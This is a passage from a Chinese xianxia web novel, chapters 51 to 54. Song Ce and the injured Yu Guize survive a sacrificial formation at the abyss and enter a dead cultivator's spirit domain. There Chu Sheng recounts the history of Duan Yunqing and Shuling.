屠期绝眼中溢满不怀好意的笑意,意味不明道:“小仙君,你不会真以为宋策那么好心将你收留在身边吧?”
“你以为他是真心待你?你难道不好奇自己忘记的过去?”屠期绝看着喻归泽青白的唇色,露出几分戏谑嘲弄的神情。
他讥笑道:“段城主曾携殊灵尊者毁掉了炼制魂丹和其他邪物的秘法,一把灵火烧尽皓月城主府,留的这残局等人来破。”
“你以为你是谁?天选之子?”屠期绝看着喻归泽的脸色从惊异不定到惊愕凝重,嗤笑一声他无情地打破最后一道防线,“不过是一场精心布下的棋局引你入瓮罢了。”
52. 第五十一章
“你敢骗我们,竟然想让我们所有人陪葬!”
“是你们自己又蠢又贪,既然你们没办法心甘情愿封印极渊,那就怨不得我了!”
如今木已成舟,所有人都被困在这一方大阵中无法脱身,即使是并未使出全部灵力运转法阵的偷奸耍滑者,最终也会被吸光灵气榨干在极渊中。
无数讨伐愤慨的怒骂声如潮水般汹涌而至,浪潮高过一声又一声,崩裂的山脉之中不断激流出难以控制的灵煞,怨灵也随着这些煞气向上挣扎攀附。
“你这个疯子,今日我们要葬身极渊,你这贼人也一样走不了!”
站在法阵中心的身影哈哈笑起来,浑厚的声音涤荡在所有人耳边,如同震颤的钟鸣声压迫人心:“我从来没想过要逃,今日是你们的死期也是老夫的……”
“我要让着皓月城重新沐浴明月的光辉,浸润极渊生生不息的灵脉,重现旧时荣光!”
“疯子!”
法阵启动的瞬间地动山摇,狂风乱作,天雷滚滚电闪雷鸣,无数惊雷在天空中的乌云中闪动,方圆百里毫无飞禽走兽,山脉中乌压压围着无数人群,修为底下的修士被迫吸干灵府中灵气迅速衰老,高阶修道者也能察觉大体内蕴含的灵气正在不断流逝,人群慌乱起来却也毫无办法,怒喝声苦痛挣扎声在极渊中此起彼伏。
喻归泽屏气凝神,调动灵气调息翻涌不止的阵痛,他按住胸口察觉到心口跳动的厉害,在如此嘈杂的环境中还能听到自己激烈的心跳声,他忍下慌乱的心绪,仔细感应着宋策的位置。
“小仙君,我没骗你吧。”
屠期绝和喻归泽置身于法阵之外,只能看清一道难以分辨的光晕不断切割着极渊,为了避免被法阵波及到,他们站在百丈之外看着这场人间炼狱。
他侧身看来,目光中似乎有些得意的冷漠,一脸置身事外的淡然感:“你救不了他们,皓月城主算计了所有人,那些人中心怀鬼胎的也不少。”
封禁的阵法中不时发出地动山摇的轰鸣声,天空雷云弥补,不断降下雷霆,雷火开始燃烧极渊山脉中连绵不尽的植被,烟火从四面八方汇聚起来,浓烟绕开那层光幕向天上飞去。
火光愈演愈烈,无穷无尽的烈火蔓延至四周,火红色的热浪翻涌不断。
“放心,离得这么远,我兄长的天阶法器足够保护我们了”,屠期绝斜眼瞥了一眼一言不发的喻归泽,轻嗤一声,忍不住嘲弄,“担心宋策?”
“他就是看上了你天灵族的身份。”
“难道你不是吗?”喻归泽打断屠期绝傲慢的话语,他反唇相讥,眼瞳盯着屠期绝,深色瞳孔不曾错开一瞬死死锁定一人时给他一种某名的压迫感。
等反应过来的屠期绝想到自己的实力完全碾压现在的喻归泽,自嘲自己刚才居然被一个刚入道的小修士震慑了一瞬。
心中有些难掩的诧异,他展开折扇轻摇几下,嘴角勾起一抹淡笑,“不然呢?”
“是个东西就有利用价值,我利用你得到我想要的东西,你利用我获得出幻境的机会。”屠期绝坦然地说出了自己的目的。他神情流露的心中所想,认为这并不是一件难以接受的事情。
山谷中呼啸而过的风卷起喻归泽的长发,纷乱的青丝飞舞在这无尽的深渊中,他眯起眼睑,眸中泛起轻蔑的涟漪,掀起的情绪越发汹涌。
喻归泽不屑地轻笑起来,“你这么自以为是,以为所有人和你一样自以为是?”
听着喻归泽突然的质疑,屠期绝了然一笑,不做其他解释,岔开话题聊到其他:“段城主身边时常伴有一位道尊,她也是一位天灵族人。”
“灵族人天生修炼天赋就比他族强上数倍,不论是何种道法皆有所涉猎,但其从不与外界往来,鲜少有外族人知道他们的存在。”
“这位道尊对他的影响不同寻常,其更是神秘莫测。”
极渊的灵煞一遍又一遍地冲击着大阵,喻归泽对极渊的感应也愈发强烈,他不会因为旁人的一面之词去怀疑宋哥。
这只魔族要利用自己进入极渊,但所说的一切都模棱两可,点到即止并不可信。
真假难以分辨,幻境中的皓月城被困在冥河之下,无数的怨灵一直在重复着生前的痛苦。
这不是喻归泽第一次经历这场浩劫,幻境中所有故事都停留在法阵被极渊冲碎之后,他在幻境中轮回已有两周目,这是第三次,唯一一次在与宋策相遇的轮回。
第一次他是大阵中的一员,还未等他有所反应,极渊深处的煞气击碎了所有机关术法,无数人毫无反手之力,被炙热锋利的煞气切成碎片,灵魂在□□湮灭之后迅速被吞噬进深渊的岩浆中,尸山血海残忍不可直视,喻归泽几乎要呕出血来,还没来得及记住什么意识便混沌了。
第二次他是天衍宗派入皓月城的密探,跟在城主心腹身边探查皓月城邪物的消息,却因为无意中窥探到城主放出去极渊魂丹的消息是假的,死在谨慎的城主手中。
“封印极渊是假的,魂丹也是假的”,屠期绝看着天空中笼罩一切的乌云,眯起眼睛轻叹道,“这时的皓月城主早就知道普通的阵法根本没有办法封印极渊的灵煞,他控制城中的修士,炼制邪物就是为了那些人能心甘情愿为其献祭。”
“他撒下弥天谎言,利用这些人因为魂丹的消息来皓月城赴死”,屠期绝眉眼轻挑,语气嘲弄,“如果不这样又有谁来做这种吃力不讨好的事情?”
轰鸣声响彻天际,狂风大作,一道血光从法阵中心四散开,昏暗的天地间散发出来的光犹如混沌初开之际迸发而出的希望,但此情此景中一切都在以肉眼可见的速度灰飞烟灭。
就在极渊深处,以他的修为根本无法贸然靠近大阵,每次像其他人一样消失在混沌血光中,这一次他想既然这只傲慢的魔族能直接找上门来,他就一定有把握保障两人在极渊中活下来。
“时间快到了”,屠期绝视线紧紧盯着大阵中心不断波动的气浪,心中难耐激动之情,这么多年的精心准备,等的就是这一刻,“等阵法被破,极渊的入口就能打开,他的残魂就在深渊中。”
刺耳的尖叫嘶吼声和痛苦的呐喊在深渊中不断传来,崩裂的山脉如同张开巨齿的兽类将蝼蚁一口吞下,喻归泽不是第一次见此场景,但心头仍然震颤不已,胸口发闷喘息不止。
喻归泽压下心中躁动不安的情绪,在法阵破掉的一瞬间,喻归泽在血海中借助屠期绝的法器飞入深渊中,四面不断有人血肉横飞,血夜被灼热的热浪烧成一抹飘忽不定的气体,□□被炙烤成一滩血水。
丹田处的疼痛不断刺激着神识,在迷蒙中似乎看到一处雪白的光影不断指引着他往深处穿梭,飞溅的血水中分裂出一道白线正在不断扩大,他咬着牙忍受刀锋切割的疼痛,恍惚间一道身影从他身侧飞来握住了他的手。
喻归泽的眼睛已经看不清,模糊一片,刺痛感焦灼着他身上每一寸,每一块皮肤都如同极渊中被灼烧的怨魂一般炙热。
“宋哥?”喻归泽急忙握住宋策的胳膊,“你怎么样?”
宋策一把握住喻归泽的脖颈将他按在自己身前,光影交错间,他抱着喻归泽的身体滚落进那道白色缝隙中,一股水膜被打破的响声鼓动着耳膜。
他们暂时安全了。
喻归泽在神识不清之中似乎听到宋策浅
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浅低语。
“我改变想法了……”
紧跟而来的身影也随着两人的踪迹穿梭进一处未知的领域。
“看来不只有我们看上了这只猎物。”
宋策冷静地回身看他,灵力的消耗并未完全恢复,他脸色异常青白,唇白无色,他轻皱眉宇,淡淡道:“一切都是按照大人的指令行事,自然不会有差错”
炼丹炉中的灵火闪着不同的色彩的光亮,他站在阴冷色的火光边,随手揭开遮掩,露出一张苍白清秀的脸,似乎常年不曾见光的缘故,他的皮肤显得异常苍白,两边眉色浅谈,一双浅灰色琉璃一般的眼中闪过淡淡的质疑。
柳庭白走至宋策身边,越发逼近的身影在火光的投射下显得异常高大。
他内心对宋策的质疑从未停止,宋策性格乖张孤僻,骄傲清高,心思缜密周全,清醒时的宋策根本不会和他做这笔交易,这是他唯一的机会。
他知道宋策想离开鬼城,修炼摆脱黑风鬼是他唯一的机会,但这唯一的机会早已断送在连尽手里,连尽早已不能牵制宋策,宋策是他达成目的机会也是唯一的变数。
若是不能得到灵丹,天灵族人留着也没用了。
“宋策,你放肆!”屠期绝被一阵阵切割而来的灵气刀刃隔绝在屏障之外,两人的身影逐渐模糊,他一时气血上涌,不断咳嗽起来,“咳咳咳你这下贱咳咳……居然敢咳咳咳”……
“你找死!”
屠期绝挥扇打出一击企图击碎遮挡在他们之间的气浪,但两人似乎被无形的风吹远分散开来。
离开极渊表面的混乱,地底之下藏着无人察觉的残阵,古朴的气息带来一种威严感降临神识,宋策环抱这喻归泽的手不断收紧,疾风将两人发丝缠绕在一起,宋策沉眸之间掐诀牵出一道红线一侧系在手腕处,另一次刺入喻归则心口。
喻归泽在一瞬间指尖锁紧,眉目紧皱,宋策手掌安抚地捧着喻归泽的脸颊,拇指轻抚他皱起的眉毛。
低声安慰道:“马上就好了。”
使出术法的一瞬间他记忆纷至沓来,混乱的片段闪现在脑海中,宋策注意到胸口挂着的银戒受到极渊中特殊灵脉的滋养散发着暖白色的光。
“宋哥,我疼……”
宋策摸摸喻归泽的耳尖,落地之后直接将他横抱在怀中。
现在的他们也不完全被困在幻境中,准确来说这是陨落后的大能遗散的神识领域,不用猜就知道是那位神秘段城主的领域了。四周白茫茫一片云雾,能见度不过几尺。
宋策警惕地环顾四周发现这里却又不是一处单独的苍白空间,仔细查看宋策感受到自己脚下踩着的还是柔软的草地,湿润的青草带着露水打湿衣摆,鼻尖还能轻轻嗅到花香。
宋策按下烦乱不定的心绪,虽不能整理出脑中不断涌现的记忆,但再愚蠢也能猜到所有的一切都是一场幻像,花坊是幻像,歌舞升平的酒楼是幻像,被撕碎的阵法是幻境中最后定格点,唯有怀中抱着的温热躯体是真的。
宋策放下喻归泽,薄雾迷离之中,喻归泽擦干净喻归泽脸上的血迹,越差越多,脸被划破数道口子,胳膊腿上的衣服都渗透出血液,宋策施法为他止住伤口,俯身按住他轻微起伏的胸口,腥味刺鼻。
那股浅淡的香气也被腥味遮掩住了,宋策有些烦躁地叹了口气:“这么蠢,命都不要了,最后还要我帮你疗伤。”
“保护我还不如顾好你自己”,宋策低眉瞥了眼喻归泽死死抓住自己袖口的手,蹙眉骂道,“蠢死算了。”
若不是阴差阳错记起些东西,如今的他并不能保证不会做些什么。
“宋哥……”
53. 第五十二章
【叮咚——支线任务已更新】
【任务对象:喻归泽
任务目标:帮助喻归泽修复灵丹
任务执行者:宋策
当前任务进度:4.3%
特殊任务:解锁极渊秘事
任务执行指南:皓月城的覆灭
任务奖励:180积分】
“宿主!”
“什么情况!”
猛然开机的系统还没有反应过来,就看见让他烧坏主机的场景,他这才休眠几天,喻归泽怎么就变成这样了。
“宋哥?”
苏醒后的喻归泽说话声有些嘶哑,他伸手在自己眼前晃了晃,张皇无措地勾着宋策脖颈,能感受到自己在宋策的背上,但心中不免有些紧张。
“宋哥,我的眼睛?”
“别动。”宋策托着喻归泽的身体往上提,他缓和语气安抚道,“被罡风所伤,并不殃及根本,等回去我再为你慢慢医治。”
“这才几天?啊!宋策!”系统忍不住尖叫起来。
“任务对象怎么变成瞎子了?还浑身是伤?”
系统懊恼不已,他刚才还在高兴支线任务居然更新了,这代表他们走的路线是对的,极渊就是解锁任务的关键点,没想到只是休眠的功夫,人就变成这样了。
对比系统的焦躁不安,宋策倒是显得冷静许多,他不在意过程只要结果是满意的那么就没有关系。
喻归泽搂住宋策脖颈的动作缓缓收紧,他靠在宋策身上,眼睛灼热刺痛,身上也疼痛难忍,一股无法明说的躁意蕴含在小腹处正在慢慢往全身蔓延,他忍不住收紧下肢。
失明的人总是忍不住胡思乱想,又受伤了,只要灵力一失控,身上的异样就难以掩盖,像一只时刻被欲望裹挟理智的兽。
喻归泽有些烦躁地皱起眉头,他能猜到宋哥已经察觉到他的异样了,回想起在幻境中失忆的宋哥抚慰他的事情,不自觉面上露出几分难为情起来。
“很难受吗?”
沉默的人清冽的嗓音突然打断喻归泽的思绪,他抿着唇轻轻喘息着,企图压下喉咙深处呜咽而出的轻哼声。
“需要我帮你吗?”
说着宋策将喻归泽放下,喻归泽被宋策突然转变的动作惊得表情怔愣住,等反应过来时,宋策以及撩开他破碎的衣袍,他忙不迭拽着下衣。
本就泛着红晕的脸颊在两人推搡之间越发灼烧起来,只能感受到湿润的风微微扫过脖颈吹落他额前几缕发丝。
“不用,不必麻烦!”
宋策看着喻归泽慌张的样子,忍不住轻笑起来:“你在想什么?”
他平淡地语气中这时却藏着几分难以察觉的戏谑,缓了面色不再逗他掐诀为他输送灵力:“只是为你梳理经脉而已。”
喻归泽面色僵硬了几瞬,几经变化之后他眯着眼睛看着地上的虚影,猜测那是宋策的影子,哑然道:“只是不想过多麻烦宋哥。”
宋策抬眸扫了眼喻归泽,轻点他身上几处穴位,最后指腹悬在他左胸半寸上方,唇角勾起失笑:“你如今如此也算是受我连累。”
“所以都是应该的。”宋策附身靠近那抹淡淡的清香浓烈起来。
系统眼见着喻归泽嘴唇蠕动半晌未说出一字,心叹喻归泽不争气被宿主这样子耍的毫无反抗之力。
他觉得宿主真的很不正经,明明就是欺负任务对象涵养好不会发脾气。
趁着两人尚没有什么危机,系统大致解释了一番激活的任务。
“宿主,现在你能开启支线任务了,修复喻归泽的灵丹,我们就自由了”,系统边说边掩盖不住的兴奋劲,“这里肯定有能推进任务进度的条件,不然怎么会突然激活任务?”
宋策抽出一些精力看了几眼系统调出来的信息,宋策难得同意系统的观点,他看了眼页面右下角有一个任务更新日志,面板推出一张空白影像的简介。
【姓名:段云清
人物背景:上仙界段家前少主、极渊鬼城前任城主……
巅峰修为:化神期
喜好:……
至交好友:#&@
……】
宋策再往后面翻了几页,眉头紧皱,有些怪异地问系统:“这是什么?游戏人物介绍吗?”
系统瞧见宋策似乎很不满意这个功能,有些不确定地解释,但说话声越来越小:“这也是新解锁的日志啦,说不定有用呢……”
宋策关闭了界面,思索可能存在的情况,如果突然更新的任务进度能够和他现实对上的话,说明他的猜想没错,这个化神期的大能留下的神识领域中有喻归泽的机缘。
系统看着满身是血的喻归泽,十分心痛,宿主花了那么多药材为他温养灵体,泡药浴服丹药,他有些不甘道:“再这样下去,我们要到何年何月才能完成任务啊?”
对于主线任务现在还没有什么头绪,不过是支线任务就让他焦头烂额,系统有些天真地想着如果做任务真的是游戏能存档重来就好了。
“这是哪里?”喻归泽唇瓣干涩,喉咙中如火烧般灼痛,说出的话也干涩枯哑。
林中薄雾弥漫,空气中的湿气逐渐打湿两人的额头,寂静的丛林中,只能听到喻归泽粗重的喘息声,他们像在鬼城时那样,靠的很近,呼吸交缠缠绵,喻归泽的脸就贴在宋策的脖颈处,他现在浑身发热,鼻尖脸颊烧的通红,蹙起的眉毛如秋水涟漪,宋策沉默着捏起喻归泽的两颊,喂他吃了一颗丹药。
“咽下去。”
温热的气息吐露在宋策耳边,宋策低头轻声在他耳边问:“如果我现在想要你的命,你怎么办?”
挂在宋策肩膀上的胳膊锁紧一瞬随后放松下来,喻归泽视线模糊不清脑袋也昏沉不已,腰腹酸痛难耐,下肢肿胀刺痒,仅能听见宋策的呼吸声:“嗯……什么?”
粗壮的肢体崩裂布帛,撕裂声将喻归泽视线吸引走,虽看不清但能摸到自己的尾巴生出来了,他将脸埋在宋策肩膀处,含糊道:“它又出来了。”
理智不过半的喻归泽对这条尾巴不知如何看待,每次发病总是伴随着这条不受控制的尾巴,像是未开化的兽类被欲望驱使做出一些奇怪的事。
喻归泽脑子昏昏沉沉的不想考虑太多复杂的事情,他现在浑身疼痛,只想和宋哥说些轻松的事情。
他指尖触碰宋策的脸轻抚,说出了这些日子里藏在心中的疑惑:“宋哥,为何你的脸和在外面不同,这是你原来的样子吗?”
“嗯。”
“宋哥,我问你答,好不好?”喻归泽气息轻微但靠的近他听的清。
宋策能想到他要问些什么了,但他不在意。
“嗯。”
“是因为天灵族身份救我的吗?”
“这对你来说很重要吗?”
喻归泽的下颌轻轻搁在宋策的肩膀上,他睁着眼但现在眼中只有一些模糊的阴影,干脆闭上眼睛按下宋策紧贴在自己腰腹处不断输送灵力的手,绯红浴血的唇止不住颤抖着,暗哑的嗓音混着炙热的气息洒在宋策的脖颈上:“没用的,筑基之后,就这样了。”
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>宋策沉默一瞬低头看着喻归泽握着自己的手。
天灵族的成年过渡期很特殊,喻归泽过渡期时刻被打断,神识受到重创,在宋策看来喻归泽现在的身体越往后修炼留下的隐患越大,根基不稳是大忌。
宋策并指按在喻归泽颈处脉搏,鼓动的青筋微微跳动着,感受着指腹下微烫的皮肤,宋策抬掌捧着喻归泽的脸。
“别睡着了。”今时不同往日,他不确定喻归泽昏睡之后会如何,现在还不能休息。
神域中不只有他们两个,若是对上敌手不知道会发生什么。
“想要我的灵丹吗?”
“要你就给吗?”宋策的起身的动作停了,秘境中的微风轻轻吹开他鬓角的发丝,宋策微侧头看向浑身泛着红意的喻归泽,现在还不是讨论这些的时候,只是随意敷衍几声,他不指望神志不清的喻归泽能记得什么。
“我不知道。”喻归泽垂着眼,他不知道说什么,他不清楚自己的身份也不知道自己的族群,如果不是那只多事的魔,他兴许连灵丹也当做妖丹了。
“你很失望?”察觉到喻归泽有些失落的语气,宋策结束了这段并不愉快的话题,“不开心便不用想了,你要明白如果我愿意,现在的你毫无还手之力。”
宋策蹲在喻归泽身边,按着喻归泽脖颈的手微微收紧,眼中含着说不清的复杂情绪,捧着喻归泽脸颊的手轻柔地擦过他嫣红的唇瓣,充血的唇在他手中颤抖着,宋策视线扫过喻归泽茫然无神的眼瞳,靠的越近,两人气息越发缠绵难分
“跟我走,还是留在这里?”
尚且迷蒙的喻归泽浑身一滞,视线上移,似乎顾不得宋策按揉在唇边作乱的手了,他胡乱道:“宋哥,是想留我一人?”
“只是一问,却也不行?”含糊不清的语气中混杂着几分说不清的情绪,也许是失望也或是愠怒,热潮下是冰冷的煎熬。
其实喻归泽在宋策身边这么久,一直有种隐隐的不安,宋策似乎只是将他当做一个可有可无的物件,可悲可喜,亦可无声无息,他总能在宋策看向他的眼中看到默然的审视或冷漠的打量,也许在最虚弱的时候被丢弃也是可以的。
他不喜欢欺骗,惶恐被隐瞒的真相,仿佛陷入无法挣脱的沼泽中,越陷越深无法脱身。
他不记得很多事情,记得事情以来,宋策是唯一对他好的人,他依赖他信任他,世间没有能无私喜爱甘心奉献的人,即使宋策对他真有所求,这都是他想过的。
鬼城流沙城区很大,风雪凌厉割刮着他裸露在外的皮肉,那天他只是对着凌空的弦月祈愿想要能裹身驱寒的衣袍。
无数次梦魇只有他被留在原地,只有他被所有人抛弃,那种失去一切的无措慌张让他心煎难熬。
既然可以环抱取暖,他不愿一人孤身面对风雪。
宋策磨了磨他眼尾的红色,轻柔的手法似乎像是在涂抹一层淡淡的胭脂,看着这层化不开的艳红,嗅着这人身上尚存的腥味,宋策沉着眼眸手腕微转挣开喻归泽无力的桎梏反手交叉扣住他的手。
感受着眼角轻柔地触感,喻归泽还以为是自己的错觉,淡淡地轻触像是一阵风吹开他眼角的发丝又或是一片花瓣落下。
若不是今日,他都快忘记了幻境中宋策那一触即分的吻,也是落在他的眼角。
“好了,小瞎子,我可不会亲吻你的灵丹。”
喻归泽微张的唇发不出一丝声音,也许是身体的问题又或许是其他,流动的血液再一次冲破枷锁,在筋脉中涌动,在风中他听见了自己的心跳声。
54. 第五十三章
修士的神魂领域随其主人变幻无穷,这里虽然是段云清的一缕残魂留下的神域,化神期的神魂强度依然能让旁人心生畏惧,那股莫名的威圧感始终盘旋在魂魄上方,不适感久居心中。
宋策背着喻归泽漫步林中,薄雾渐深,可见的视线越来越短,脚步踩碎林中枯叶发出咯吱咯吱声,寂静的丛林深处不时传出几声清脆的鸟鸣,宋策凝神收气尽量收敛气息,如今视线范围有限,深处白茫间不知是敌是友,兴许暗藏危机,应当谨慎小心。
“宿主,段云清已经死了,我们怎么找到他那一缕神识意识?”
宋策现在被困在极渊中但是完全没有着急慌张的样子,系统也拿不定主意,毕竟他只是个低级系统,这种需要动脑子的任务他不太行,很多时候即使了解到宋策要做什么但却推演不出宿主真正的意图。
虽然数据丢失他没办法识别任务等级,但是用数据线想都能知道目前的任务等级绝对在B级朝上,他只是一个评不上等级的低端系统啊,这不是难为系统嘛。
早在绑定宋策之前,他就已经向主世界反馈无数次了,应该撤销世界任务重新分配,但主世界从来没有回复他,他已经和主世界失去联系了,这些涉及主世界的信息,系统不敢告诉宿主。
按照正常情况下这些都是写在合同中的,但现在信息丢失不成样子,当初接到这种任务他能量出现问题迅速流失,慌乱中他私自绑定了宿主,他们根本都没有签订任务合同。
刚休眠恢复了一些数据,想起这些事情来系统有些心虚。
系统自顾自想了这些事,宋策却并不知情,他在想系统的话。
段云清早已魂祭极渊,物理意义上死亡了,但世界的运转却是不尽相同的,在宋策的原先世界,或许死了也就死了,对于这个世界,死亡不一定是完全消失不存于世。
宋策想清楚一个很明确的信息,既然他们现在处于段云清的神魂领域中,说明这里还有段云清的残魂留世。
在众多混乱的线索中,仅仅依靠直线思维很难滤清关系,宋策停下步伐轻轻将背上喻归泽放下。
闯入极渊的人,各怀目的,危险之地往往做好万全之策才能保命活下来,他需要等。
漫无目的地在雾中找寻并不是一个明智之举,宋策在溪水边站定,流水潺潺映照着点点星光。
仰望夜空,不难发现神域中的风景如同外界一般,同样日月星辰照耀,从来暖风虫鸣伴身,等雾气散去,抬头已是星辰遮天,听着徐徐微风吹拂枝叶发出的沙沙声,宋策随手将一颗石头丢进火堆中激起星星火花。
夜色已至,夜晚比白日要宁静的多,清风拂面,萤火雀跃,黑暗深处惊起几只落单的鸟鸣啼不断。
“宋哥,我疼。”
宋策闻言垂眸低头,鬓边头发散落在喻归泽肩头与他湿润的发丝交缠。
系统快绝望了,他麻木地看着宿主熟练地为喻归泽输送灵力,另一只手揽过喻归泽的肩颈在他眉宇间轻轻一吻,平静地抚慰喻归泽褶皱的眉头。
喻归泽鲜少有清醒的时候,面上时而毫无血色时而充血通红,他一双眼紧紧闭着,嘴唇也时刻颤抖着,勉强只能听出几声气音,他似乎陷入某种可怕的梦魇中不断呓语着什么。
他忍受着浑身疼痛蜷缩着身子靠在宋策腿上,手紧紧攥着宋策的手掌,双手相擦之间皮肉泛着明显的青紫色。
眼见着任务对象越来越虚弱,但是却找不到出去的办法,系统很担心再这样下去不用等找到段云清,任务对象已经先一步下去了。
不过系统却更惊奇对于喻归泽,宿主忍耐力似乎好了许多,安抚这么久居然都没有发作,虽然刚开始眼眸中有些不自然,但最后宿主俯身的动作却越来越熟练。
他不懂,他不理解。
这不像任务执行者和任务对象的相处模式吧,以前在主世界听说过有这类演绎性攻略任务,但是系统能确定他们这个不属于这类任务啊,这不好吧……
系统决定有必要提醒一下宿主,以免出了差错。
“宿主……”
溪水流淌,草木浸润着水汽沐浴着深夜的霜露散发着淡淡的清气,宋策让喻归泽靠在自己的腿上,为他下半身盖上一层薄毯,拨开挡在他眼前的发丝,他对系统的话不在意,随意打断他的话:“祀春节时,他消失了一段时间。”
系统一愣,停顿几息,电流声再次响起,他知道宋策说的是什么时候,那天他还以为是喻归泽被人掳走了,没想到喻归泽最后自己找回来了,他当是虚惊一场。
“他被人下蛊了”,宋策看着漆黑的夜色深处,树影婆娑枝丫沙沙声不断,“我解不了。”
宿主总能让系统原本平静的主机烧起来,他就知道怎么可能一点问题没有,不安地问:“下、下蛊?会怎么样?”
“那怎么办?”
宋策轻抚喻归泽因为疼痛皱缩在一起的脸,平静地阐述一个系统绝望的事实:“所下之蛊不是寻常蛊虫,贸然强行解蛊不知道会有什么隐患。”
在极渊幻境中所见蛊种与喻归泽身上的并不相同。
下蛊之人还没有发动蛊虫毒性,不代表以后不会。
树叶交错声仿佛是无数人在窃窃私语,在黑夜之中也许一直有一双眼睛死死盯着他们。
脚步声交杂着虫鸣声从林中慢慢出现,一人踩着枯叶从树影中现身,火光映照之中,一张俊秀白皙的脸从婆娑的树影中显露,那双标志的丹凤眼微转,流光照彩。
是楚生。
“宋策,你果然在等我。”他丝毫没有见外,兀自走至宋策对面坐下,看了眼昏迷不醒的喻归泽随后将视线移向宋策。
眼神不善。
这人不管在何时何地永远这般平静,明明置身其中却又仿佛一切都与他无关,从容地看着一切冷眼旁观,冷漠从容地姿态让楚生心生恼意。
“你笃定我会来找你?”
宋策看着楚生严肃的神情轻笑出声,他随意打量一番浑身上下毫无伤处的人,眉宇轻挑露出几分了然。
“在鬼城时不能确定”,在楚生越发深沉的眼眸中,宋策笑意也越深,似乎在
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说一件寻常小事,平静地不可思议,“你与我们不同,是自愿来极渊。”
“能找到适合自己的躯体,活到现在也是不容易。”
楚生知道宋策在说什么,在幻境中他们曾见过,在皓月城丹炉房中,他是试药的妖奴,他哼哼笑着,目光不屑似乎觉得这并不难猜。
他目光中闪过冰冷的寒光,落在宋策眼侧触目惊心的伤口上:“难道你不是吗?”
他可记得宋策在幻境中并不长这样,能在鬼城留下的人,能有几个是善茬,哪个不是手染鲜血,宋策也不是什么良善之辈。
宋策没有理会楚生的嘲讽,他垂眸看着火堆添了一把火:“你不是第一次来极渊。”
“你在皓月城做过试炼妖奴。”
宋策抬头看着楚生,是笃定确认的语气,极渊不能毫无根据地给出偏离记忆的身份,他与连尽在鬼城时在花楼相识,喻归泽灭族前师出天衍宗,段厄在幻境依然是出山门历练的段家公子。
他想每个误入幻境的人所经历的一切必然并非空穴来风,段云清曾多次出入极渊,留下手册《一梦浮生》记录极渊的众生相。
听着宋策轻飘飘的一句叹息,楚生戏谑的神情有一瞬的崩裂,他咬着牙,腮边肌肉拧动似乎在忍耐着什么。
“可笑。”
宋策斜睨楚生,看着他略显狰狞的表情低头轻笑,动作温柔地梳理喻归泽被汗水微微打湿的发丝。
他不紧不慢地说:“妖魂夺舍人修躯体,楚大人好手段。”
夺舍这种邪术毕竟逆天而为,不被天道法则所容纳,但成仙得道并非易事,三界中许多渡劫修士没有躲过雷劫者数不胜数,夺人躯体的修道者不为少数。
但夺舍者往往要寻找八字奇诡,天命适合者,人族躯壳容纳人族三魂七魄,妖族身体才能适合妖族,魂魄强度不同,同类者大多找的都是同族。
异族的躯体难以容纳不适合的魂魄,像楚生这种另类也是少数。
“皓月城主在城中造物,炼制新的种族”,宋策停顿一刻似乎在想适合的说法,“炼丹,炼蛊,布阵都试过但却没有办法控制外泄的极渊灵煞。”
“他想控制极渊的灵气为自己所用,抓了许多三界修士试验,手段极其残忍,可惜尽炼出些怪物来。”
“你这样的能活下来也算是运气不错,皓月城主应该弄死了不少像你这样的小妖。”
宋策颇为满意看了眼楚生不断颤抖的面部肌肉,看来刺激地不轻。
“你怎么活下来的?”
“够了!”似是想到些不忍回忆的糟糕经历,楚生额间青筋跳动着,但也只是几息之间,他便缓和了神色,墨色眼瞳轻闪掩盖了跳动的杀气。
他知道宋策想知道些什么,故意激怒他,但这些都是很久远的事情了,若不是刚从幻境中脱离,也不会像刚才这样失控。
现在的他和宋策硬碰硬讨不到好处,干脆开门见山说明来意:“我要见段云清,我想见他。”
楚生坚定的目光落在喻归泽身上:“只有他能带我们去。”
55. 第五十四章
“太曲折了吧,这人知道的事情似乎比任务日志上还要全面。”系统听到了关于段云清较为完整的往事。
“他与殊灵道尊交好,当年一同在皓月城救了被囚禁的妖奴人囚。”楚生盯着摇曳的火光沉静地诉说着一众往事。
系统有所感应一般调出关于段云清的人物介绍,其中乱码或没有加载出来的信息也随之显现出来。
旧年段云清与殊灵道尊云游四海时经过皓月城,无意中察觉到城中存在霍乱的邪物,一路追踪下去发现皓月城主在城中暗中布下禁阵炼化邪物,他携殊灵道尊破了城中禁制,解救了众多被困在城主府下的炼畜。
楚生眼中冒着嗜血的杀意,语气愤然恼恨:“可惜没能杀了这畜生,挖了他的灵根抽筋破骨炼化他的三魂七魄!”
皓月城主一直想通过古法禁术控制极渊外泄的灵煞为自己所用,自极渊异变后,皓月城势微,城主放出极渊能炼化魂丹的消息,在三界协力镇压极渊的时启动大阵以阵中人生魂祭祀,成则皓月城灵脉万年不衰,败可保皓月城更古长存,不死不休。
“这狗东西想的还挺美!”楚生碾碎手中石头,他可不是什么正派人士,他只是想报仇,但还未有机会,皓月城主就已灰飞烟灭,他心有不甘,恨不得将其从极渊深处扒出来折磨一番。
段云清从皓月城中搜出许多禁术秘书,毁掉了城中大半法阵。
他们走后,皓月城主贼心不死仍然凭借着残缺的法阵和余下的术书偷天换日,最终引爆极渊毁了大半城池,极渊原就不稳定的灵脉发生异变,皓月城灵气走势因此变化,最终变成一座易进难出的死城,从此再无孤山观明月的皓月城,只有寂寥枯朽无人顾的鬼城。
“那是我第一次见这对名绝天下的天衍双骄。”楚生眼神有一瞬的恍惚迷离,像是陷入了遥远的回忆中。
段云清是修仙大族出生,幼时流落魔界,后被主家人找送入天衍宗历练修习,他天生剑骨,被预言会成为剑道顶级大能,段家将其当做下一任家主培养。
果不其然段云清少年时孤身负剑闯入魔界,斩下魔域一将领首级,一剑封绝万魔山,诛邪镇煞名动天下。
比起段云清复杂的身世,殊灵的背景简单的让人怀疑,后人只知道她少时拜师天衍宗,在仙门大比中博得头彩,风采与段云清不相上下,与其并称天衍双骄,那年比试中都说天衍宗未来的尊者级奇才出了一双,各大宗门世家羡艳不已。
段云清也就罢了,都知道是段家主脉的少主,当不少人打听想结交另一位天才时,都不得消息,只以为是下界出生的遗世天才。
“殊灵性格乖张恣意,高傲轻慢不喜与人交往,却与段云清走得近。”
“二人互为知己,关系非比寻常”,楚生面色几经变化有些某名地补充几句,“也有人说二人相互爱慕,早已结契。”
“殊灵修炼形式奇诡,她喜爱与人切磋各式道法,有人说她主修符箓,亦有说她精通丹药,另有人说她专修不为世人所容的禁术。”
“殊灵不喜各宗门行事作风常年不观世事不见首尾,发生一些事后殊灵就消失了,段云清也在不久后堕魔。”
“传言段因思念道侣,最终回到二人一同游历过的皓月城,后为了苍生安危镇压灵煞魂祭极渊。”
